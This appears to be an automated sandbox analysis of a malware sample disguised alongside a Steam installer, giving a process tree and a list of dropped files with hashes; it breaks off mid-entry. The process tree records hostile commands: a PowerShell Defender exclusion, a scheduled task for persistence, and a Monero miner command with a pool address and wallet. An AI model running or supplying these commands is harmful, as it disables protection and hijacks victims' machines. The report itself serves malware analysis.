                                                                                                                                                                                                            PID:4052
                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1756,6695434821204969598,2661876909911917293,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2216 /prefetch:1
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:1384
                                                                                                                                                                                                          • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                            C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                              PID:1700
                                                                                                                                                                                                            • C:\Windows\system32\msinfo32.exe
                                                                                                                                                                                                              "C:\Windows\system32\msinfo32.exe" "C:\Users\Admin\Desktop\UndoMerge.nfo"
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                              • Checks SCSI registry key(s)
                                                                                                                                                                                                              • Enumerates system info in registry
                                                                                                                                                                                                              • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                                                                              PID:4284
                                                                                                                                                                                                            • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                PID:3212
                                                                                                                                                                                                              • C:\ProgramData\winrar\OWT.exe
                                                                                                                                                                                                                C:\ProgramData\winrar\OWT.exe
                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                • Checks computer location settings
                                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                PID:424
                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                  PID:2856
                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:1992
                                                                                                                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                      schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                      PID:816
                                                                                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
                                                                                                                                                                                                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                    PID:5068
                                                                                                                                                                                                                  • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                    C:\Windows\system32\WerFault.exe -u -p 424 -s 1816
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                    PID:4028
                                                                                                                                                                                                                • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                  C:\Windows\system32\WerFault.exe -pss -s 432 -p 424 -ip 424
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                    PID:4820
                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                      PID:4700
                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ff822bb4f50,0x7ff822bb4f60,0x7ff822bb4f70
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:4760

                                                                                                                                                                                                                      Network

                                                                                                                                                                                                                      MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                      Replay Monitor

                                                                                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                                                                                      Downloads

                                                                                                                                                                                                                      • C:\Program Files (x86)\Steam\bin\SteamService.exe

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        2.7MB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        2de3f7cf6020b3bb6bc4199459a63016

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        8a30e5e333a353eb069ab961a4c1918fcbb44623

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        f649f4a1d41cd442d5e3f079b1677442a2123eb494bda58ef866870b25915d7e

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        5d1e016c731dd1bfaaf24fde9da4f453f71773a71db956290809eb82064fa0307874cd412be6ad98c4fdbb36e94cd8ae7aa27341aaa1f9f3f9e696afe0cca56e

                                                                                                                                                                                                                      • C:\Program Files (x86)\Steam\bin\steamservice.exe

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        2.7MB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        2de3f7cf6020b3bb6bc4199459a63016

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        8a30e5e333a353eb069ab961a4c1918fcbb44623

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        f649f4a1d41cd442d5e3f079b1677442a2123eb494bda58ef866870b25915d7e

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        5d1e016c731dd1bfaaf24fde9da4f453f71773a71db956290809eb82064fa0307874cd412be6ad98c4fdbb36e94cd8ae7aa27341aaa1f9f3f9e696afe0cca56e

                                                                                                                                                                                                                      • C:\Program Files (x86)\Steam\public\steambootstrapper_brazilian.txt

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        8ebd46495dd3b4ab05431c5c771d5657

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        e426214322a729faddb5bc80053af5750c76683b

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        70c39d5d5b16640165de19cee80da4a391035108cbc5f5009372a86954f0fe92

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        53afd923f583eda4db580935a8cdd62413af8e830c04f2c12d15c55e905c114ec11a5e4483660601504c27e9350e9e47c6432f8f699464e11c5050fe846d7dc4

                                                                                                                                                                                                                      • C:\Program Files (x86)\Steam\public\steambootstrapper_bulgarian.txt

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        6KB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        239c03a3dc1c27993da724736d086cef

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        ff88246f8ea3502873dcbdc622378f006c58a2e6

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        b387e2fb971297d3438acca130c53dfdd202ae2ca5b52d6503333734cda4fbfc

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        656922e8f2dec46ef36efba5c85088c47b02e89f62b27559611fcbe6ef85c6cd8462a4532e2d2d7f4faa977ab24f0de6f5f72e3075f8889db9e6e60baa162a32

                                                                                                                                                                                                                      • C:\Program Files (x86)\Steam\public\steambootstrapper_czech.txt

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        6def4d3cf1453d5fb69d22fca29892a4

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        09fe62653e55668de75a9fc5b64949ea81eb4991

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        60c29f3c57c44c58daf69be797bfede31967b1ddfc9bb68cb7ddaa0acda67c8c

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        ee4f3f5dd8a8aadde9cff8f8aca8a45fa419c36fd8a4a7d3af9b71e1f7e5d9e1d01c329c70e6da53238822b536e35224e55004bf2e1af4ec17d5b56ccfc58549

                                                                                                                                                                                                                      • C:\Program Files (x86)\Steam\public\steambootstrapper_danish.txt

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        03b664bd98485425c21cdf83bc358703

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        0a31dcfeb1957e0b00b87c2305400d004a9a5bdb

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        fdf7b42b3b027a12e1b79cb10ab9e6e34c668b04eb9e8a907d8611ba46473115

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        4a8cdd4b98432ba9d9b36bc64aab9a2eab31a074d1cbdfab3d35a14216c60752b5580c41bbb70104993420043685d3bd47eb6637b8fcbb3f42f76a15e4be041d

                                                                                                                                                                                                                      • C:\Program Files (x86)\Steam\public\steambootstrapper_dutch.txt

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        31a29061e51e245f74bb26d103c666ad

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        271e26240db3ba0dcffc10866ccfcfa1c33cf1cc

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        56c8a86fa95eab0d8f34f498e079b5516b96d2a2f1ad9c2a888555e50e47f192

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        f85865c1e9ab45e5586d3dd2b45d15265193e8a3c34b6bb1ac7e415a1ea878cfb044e8e01012e917e4f00bb9e0a422f56253f328df1bac99a145e19433354cf8

                                                                                                                                                                                                                      • C:\Program Files (x86)\Steam\public\steambootstrapper_english.txt

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        2fe6613e267857982d7df4368c9827ec

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        d520c7427b283e3ff167b850ab15352e46d328d3

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        2eba5f3f0b0dbcc2cd69c36c220a2355d1ba3cd67b6e25b5846c80e1604bcac0

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        cf2fc8978adf54dce5700eda7d8beb4917c89bf5458131171eab95463e1b3a3315770f4baae07e498e8e36a8478f09e27054ca2d06b4542c86d8459360572be4

                                                                                                                                                                                                                      • C:\Program Files (x86)\Steam\public\steambootstrapper_finnish.txt

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        594be5b10d9f551e551cf20eae0e6dfc

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        191c20f5cb0c27ecc5a055fa2379694f5e27a610

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        e350ca62e777da4da6d25885be96d48e7ce3acf021a74f2a4902354a1bf03fbb

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        e27bf6593a177c22e16ddf5a44d82b34b02063645a7fd63943b936028d9c433c89628038768a300c296c2d3bcab2ef6b8532a19f7283952d041865c704f62b0b

                                                                                                                                                                                                                      • C:\Program Files (x86)\Steam\public\steambootstrapper_french.txt

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        da69785dfbf494002f108dd73020183d

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        34bb6061cdf120e7dced0402e588c3f712cf2dc0

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        8cce22e7f13486f2bc612dcc8fa31d81038e6084a350fa10299d40c3a7f878c8

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        db773783b63ed1d66a59272e05304c174b69f85d2838ae8049dffed6b6b30c2011fd9042dd652f9a1733a2b6891870b426cf1985d41921e5360c9b1ae1330e20

                                                                                                                                                                                                                      • C:\Program Files (x86)\Steam\public\steambootstrapper_german.txt

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        395286db3e67a59868e2662c326c541a

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        716014d76622612a1bde2d4e1744d024f6d0b830

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        02e48ee4e10354a2b2741d2e57ef565404753779f847906b5ae5c98ede06c01b

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        64cdf1e6701ea57474051e338eee74859fc0ff4acd71ee0718a9b8cd698e94a9793c1901b6791fc0fc268c53fbc1e7e2f94ac1024f3f8765bf713954c194b0fe

                                                                                                                                                                                                                      • C:\Program Files (x86)\Steam\public\steambootstrapper_greek.txt

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        6KB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        b9e30df8cf272813b121133fcf259752

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        16706f982f16d5feb9c808f94b8cfa50c23f5d80

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        88919d7be26fb3e06401fc0254733d92fd743ecc56da4177b41613e1f094c3e8

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        7beb65c0477b02742741a8ce23557f4f15e8cf1b1ef03a6bbadbf594bdf2cd686d7356d93719111d27b309a10ca75846765a13bb3eb4d0411785dfb13a675fc4

                                                                                                                                                                                                                      • C:\Program Files (x86)\Steam\public\steambootstrapper_hungarian.txt

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        18aaaf5ffcdd21b1b34291e812d83063

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        aa9c7ae8d51e947582db493f0fd1d9941880429f

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        1f45bb7bdfa01424f9237eec60eba35dc7f0dc4e8c2e193fe768fe96d3ff76d5

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        4f3e56d1abe26b56d3f805dc85baaca450c0c7bec57ebcf8a6bb6ebb8588307dad130c83bf792bac76694909a14fd6a4d7d1e9b31e32fba11256343b9fc18154

                                                                                                                                                                                                                      • C:\Program Files (x86)\Steam\steam.exe

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        4.1MB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        b4411620a3551834e4f699cc5a9b27e6

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        5093960cc86613e310d13770b5adef00fe93f3eb

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        3caf4a246169b2d30c6bf18fa0b7a4a01bbe933cfb781f3da4c6b3cb67b59d04

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        47dde07212c2d5eea548d7794fc6bb9d86ced9a0848aaeab81fa8844fc5cab7eac58e386e96a81c663b914c85c0a7116033e2b2cfd18559d40aa6c83f9a6c024

                                                                                                                                                                                                                      • C:\ProgramData\screen.jpg

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        101KB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        0ee8de6e14c8e643ae5f8385959f6c38

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        86ff7ece0c74f89da3143188cc33b1277c21fe43

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        2dc87be49d7edc6ced618ea1fba6cd919fd91904fce6eea7543bb9b7f0d6e96a

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        4c852744d855effbfea66245c02b8939060749a546b3eff680353530caffb509f4482d0f88d377be843d68006a29a49379b925cad413dd6a2bd0de84d6564643

                                                                                                                                                                                                                      • C:\ProgramData\winrar\OWT.exe

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        1.4MB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        073a3dc0c60492b618f888c5e603fd05

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        4de52c57f8f032724452e901120bcf0fbee52902

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        f4fcbc524c30e4469464eb1c5641577b1042bd6fb5f44835731a3ee156d29c27

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        4262dd0e07f0d083c75607a0a67e20b8b8f85c57aeeba2359cc92731a82ba9d2191482cb3d28c7c8f1163b0d9604bf1cfba5ffe168ad7bb6fc7c1c11c99c0d7f

                                                                                                                                                                                                                      • C:\ProgramData\winrar\OWT.exe

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        1.4MB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        073a3dc0c60492b618f888c5e603fd05

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        4de52c57f8f032724452e901120bcf0fbee52902

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        f4fcbc524c30e4469464eb1c5641577b1042bd6fb5f44835731a3ee156d29c27

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        4262dd0e07f0d083c75607a0a67e20b8b8f85c57aeeba2359cc92731a82ba9d2191482cb3d28c7c8f1163b0d9604bf1cfba5ffe168ad7bb6fc7c1c11c99c0d7f

                                                                                                                                                                                                                      • C:\ProgramData\winrar\OWT.exe

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        1.4MB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        073a3dc0c60492b618f888c5e603fd05

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        4de52c57f8f032724452e901120bcf0fbee52902

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        f4fcbc524c30e4469464eb1c5641577b1042bd6fb5f44835731a3ee156d29c27

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        4262dd0e07f0d083c75607a0a67e20b8b8f85c57aeeba2359cc92731a82ba9d2191482cb3d28c7c8f1163b0d9604bf1cfba5ffe168ad7bb6fc7c1c11c99c0d7f

                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\OWT.exe.log

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        1KB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        88a2a927f186f54ca5935ce8826983dc

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        7b09040618791ad562e3c52bed41d7e168a05a54

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        b9f2acf9f0a5c0d4610261b61fd548ee220c5988fd8245ac349182f9d1f624e1

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        68969bdd5cf8673dc831b38b748207a8f079bd15de17eb39324d98cfa83c62f38ac51ff4835b34ec2d711eff8610ca196508315b92e3b94b1a798262c5a46627

                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        2KB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        d85ba6ff808d9e5444a4b369f5bc2730

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        944B

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        2e907f77659a6601fcc408274894da2e

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        944B

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        dbb22d95851b93abf2afe8fb96a8e544

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        920ec5fdb323537bcf78f7e29a4fc274e657f7a4

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        e1ee9af6b9e3bfd41b7d2c980580bb7427883f1169ed3df4be11293ce7895465

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        16031134458bf312509044a3028be46034c544163c4ca956aee74d2075fbeb5873754d2254dc1d0b573ce1a644336ac4c8bd7147aba100bfdac8c504900ef3fc

                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\nshA335.tmp\System.dll

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        11KB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        a4dd044bcd94e9b3370ccf095b31f896

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        17c78201323ab2095bc53184aa8267c9187d5173

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        2e226715419a5882e2e14278940ee8ef0aa648a3ef7af5b3dc252674111962bc

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        87335a43b9ca13e1300c7c23e702e87c669e2bcf4f6065f0c684fc53165e9c1f091cc4d79a3eca3910f0518d3b647120ac0be1a68eaade2e75eaa64adfc92c5a

                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\nshA335.tmp\nsDialogs.dll

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        9KB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        0d45588070cf728359055f776af16ec4

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        c4375ceb2883dee74632e81addbfa4e8b0c6d84a

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        067c77d51df034b4a614f83803140fbf4cd2f8684b88ea8c8acdf163edad085a

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        751ebf4c43f100b41f799d0fbf8db118ea8751df029c1f4c4b0daeb0fef200ddf2e41c1c9c55c2dc94f2c841cf6acb7df355e98a2e5877a7797f0f1d41a7e415

                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\nshA335.tmp\nsDialogs.dll

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        9KB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        0d45588070cf728359055f776af16ec4

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        c4375ceb2883dee74632e81addbfa4e8b0c6d84a

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        067c77d51df034b4a614f83803140fbf4cd2f8684b88ea8c8acdf163edad085a

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        751ebf4c43f100b41f799d0fbf8db118ea8751df029c1f4c4b0daeb0fef200ddf2e41c1c9c55c2dc94f2c841cf6acb7df355e98a2e5877a7797f0f1d41a7e415

                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\nshA335.tmp\nsExec.dll

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        6KB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        c5b9fe538654a5a259cf64c2455c5426

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        db45505fa041af025de53a0580758f3694b9444a

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        7b51372117960e84d6f5eb3a26810cc044ff02283b3d656a0a456b0ab5cb8ea7

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        f0f8a5570c01b16e54f47502e867ffbaf162b44a847c0ffc8062d20e9492114229de5d9d2a836da256fd3f9fb493536bdbf148d5308695b16c0e98d20d8926aa

                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\nshA335.tmp\nsExec.dll

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        6KB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        c5b9fe538654a5a259cf64c2455c5426

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        db45505fa041af025de53a0580758f3694b9444a

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        7b51372117960e84d6f5eb3a26810cc044ff02283b3d656a0a456b0ab5cb8ea7

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        f0f8a5570c01b16e54f47502e867ffbaf162b44a847c0ffc8062d20e9492114229de5d9d2a836da256fd3f9fb493536bdbf148d5308695b16c0e98d20d8926aa

                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\nshA335.tmp\nsProcess.dll

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        f0438a894f3a7e01a4aae8d1b5dd0289

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        b058e3fcfb7b550041da16bf10d8837024c38bf6

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        30c6c3dd3cc7fcea6e6081ce821adc7b2888542dae30bf00e881c0a105eb4d11

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        f91fcea19cbddf8086affcb63fe599dc2b36351fc81ac144f58a80a524043ddeaa3943f36c86ebae45dd82e8faf622ea7b7c9b776e74c54b93df2963cfe66cc7

                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\nshA335.tmp\nsProcess.dll

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        f0438a894f3a7e01a4aae8d1b5dd0289

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        b058e3fcfb7b550041da16bf10d8837024c38bf6

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        30c6c3dd3cc7fcea6e6081ce821adc7b2888542dae30bf00e881c0a105eb4d11

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        f91fcea19cbddf8086affcb63fe599dc2b36351fc81ac144f58a80a524043ddeaa3943f36c86ebae45dd82e8faf622ea7b7c9b776e74c54b93df2963cfe66cc7

                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\tmp80ED.tmp.bat

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        138B

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        17a05dc5730623fc89658ee27b1f5013

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        eec85fad6bd7fead168635494b1c6c1e854576d3

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        3d200cb6aad3a1cc9c9db4e3b2262c019b5bd749688fcec090928b174f38e4e5

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        3fa8d3d6a2b7a452d35f4caf6bfa606813cd326ee2520ccbed1d3a25e765ff8a9fcbced0b3a3ef8af01a8aeec4feacb41424ea7bf43e69a0b9962d98f3097ce8

                                                                                                                                                                                                                      • C:\Users\Admin\Downloads\SteamSetup.exe

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        2.2MB

                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                        70f3bc193dfa56b78f3e6e4f800f701f

                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                        1e5598f2de49fed2e81f3dd8630c7346a2b89487

                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                        3b616cb0beaacffb53884b5ba0453312d2577db598d2a877a3b251125fb281a1

                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                        3ffa815fea2fe37c4fde71f70695697d2b21d6d86a53eea31a1bc1256b5777b44ff400954a0cd0653f1179e4b2e63e24e50b70204d2e9a4b8bf3abf8ede040d1

                                                                                                                                                                                                                      • C:\Users\Admin\Downloads\SteamSetup.exe

                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                        2.2MB

                                                                                                                                                                                                                        MD5

